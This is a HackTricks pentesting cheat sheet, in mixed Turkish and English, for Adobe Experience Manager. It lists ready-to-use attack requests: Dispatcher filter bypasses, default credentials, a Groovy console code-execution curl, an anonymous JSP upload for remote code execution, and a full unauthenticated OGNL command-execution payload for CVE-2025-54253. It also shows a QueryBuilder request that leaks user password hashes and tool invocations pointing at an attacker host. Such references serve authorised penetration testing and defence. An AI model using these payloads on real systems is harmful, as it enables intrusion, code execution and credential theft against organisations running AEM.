AEM (Adobe Experience Manager) Pentesting

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) Apache Sling/Felix (OSGi) ve bir Java Content Repository (JCR) üzerinde çalışan kurumsal bir CMS’dir. Bir saldırgan bakış açısından AEM instances çok sık olarak tehlikeli development endpoints, zayıf Dispatcher kuralları, default credentials ve her çeyrekte yamalanan uzun bir CVE kuyruğu açığa çıkarır.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Diğer hızlı göstergeler:

  • /etc.clientlibs/ statik yol mevcut (JS/CSS döndürür).
  • /libs/granite/core/content/login.html “Adobe Experience Manager” banner’lı giriş sayfası.
  • </script><!--/* CQ */--> HTML’in en altında yorum.

2. High-value unauthenticated endpoints

YolNe elde edersinizNotlar
/.json, /.1.jsonDefaultGetServlet üzerinden JCR düğümleriÇoğunlukla engellenir, ancak Dispatcher bypass (aşağıya bakınız) işe yarar.
/bin/querybuilder.json?path=/QueryBuilder APISayfa ağacı, dahili yollar ve kullanıcı adlarının leak’i.
/system/console/status-*, /system/console/bundlesOSGi/Felix consoleVarsayılan olarak 403; eğer açığa çıkmışsa ve creds bulunursa ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerKimlik doğrulaması gerektiren content package yüklemelerine izin verir → JSP payload upload.
/etc/groovyconsole/**AEM Groovy ConsoleEğer açığa çıkmışsa → herhangi bir Groovy/Java kodu çalıştırma.
/libs/cq/AuditlogSearchServlet.jsonAudit logsBilgi sızıntısı.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorYanlış yapılandırılmış Forms kurulumlarında (CVE-2025-54253) bu endpoint kimlik doğrulama gerektirmeyen OGNL çalıştırır → RCE.

Dispatcher bypass tricks (2025/2026’da hâlâ çalışıyor)

Çoğu üretim sitesi Dispatcher’ın (reverse-proxy) arkasında yer alır. Filtre kuralları genellikle kodlanmış karakterlerin veya izin verilen statik uzantıların kötüye kullanılmasıyla atlatılır.

Klasik noktalı virgül + izin verilen uzantı

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. Yaygın yanlış yapılandırmalar (2026’da hâlâ mevcut)

  1. Anonymous POST servletPOST /.json with :operation=import lets you plant new JCR nodes. Blocking *.json POST in the Dispatcher fixes it.
  2. Herkese okunabilir kullanıcı profilleri – varsayılan ACL, /home/users/**/profile/* üzerinde jcr:read iznini herkese verir.
  3. Varsayılan kimlik bilgileriadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, hala legacy 6.4 kurulumlarında bulunuyor).
  5. Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json and /etc/truststore.json reachable with %2f/%3B even when blocked by path filters.
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= evaluates OGNL without auth (CVE-2025-54253) leading to unauth RCE; paired XXE in Forms submission (CVE-2025-54254) allows file read.

4. Yakın zamandaki zafiyetler (service-pack takvimi)

QuarterCVE / BulletinAffectedImpact
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Çok sayıda kritik/depolanan XSS → author UI üzerinden kod yürütme.
Sep 2025APSB25-906.5.23 & earlierGüvenlik özelliği atlatma zinciri (Dispatcher auth checker) – 6.5.24/Cloud 2025.12’e yükseltin.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE dosya okuma, kimlik doğrulaması olmadan.
Jun 2025APSB25-486.5.23 & earlierCommunities bileşenlerinde Stored XSS ve ayrıcalık yükseltmesi.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, keyfi kod yürütme (düşük yetkili).
Dec 2023APSB23-72≤ 6.5.18Hazırlanmış URL ile DOM tabanlı XSS.

Her zaman müşterinin servis paketi ile eşleşen APSB bültenini kontrol edin ve en son 6.5.24 (26 Kas 2025) veya Cloud Service 2025.12 için zorlayın. AEM Forms on JEE kendi add-on hotfix’ini 6.5.0-0108+ gerektirir.


5. İstismar örnekleri

5.1 Dispatcher bypass + JSP upload ile RCE

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Şimdi /content/evil.jsp isteğinde bulunun – JSP, AEM işlem kullanıcısı olarak çalışır.

5.2 SSRF to RCE (tarihi < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py from aem-hacker tam zinciri otomatikleştirir.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Eğer zafiyetliyse, HTTP gövdesi komut çıktısını içerir.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

anonymous read ACLs varsayılan olduğunda, rep:password hash’lerini içeren kullanıcı düğümlerini döndürür.


6. Araçlar

  • aem-hacker – Swiss-army enumeration script; dispatcher bypass, SSRF detection, default-creds kontrolleri ve daha fazlasını destekler.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – QueryBuilder hash disclosure ve encoded-slash bypass’ı otomatik olarak tespit eder (yayın: Dec 2025).
  • Content brute-force – gizli bileşenleri keşfetmek için /_jcr_content.(json|html)’i özyinelemeli olarak isteyin.
  • osgi-infect – creds mevcutsa /system/console/bundles üzerinden kötü amaçlı OSGi bundle yükler.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin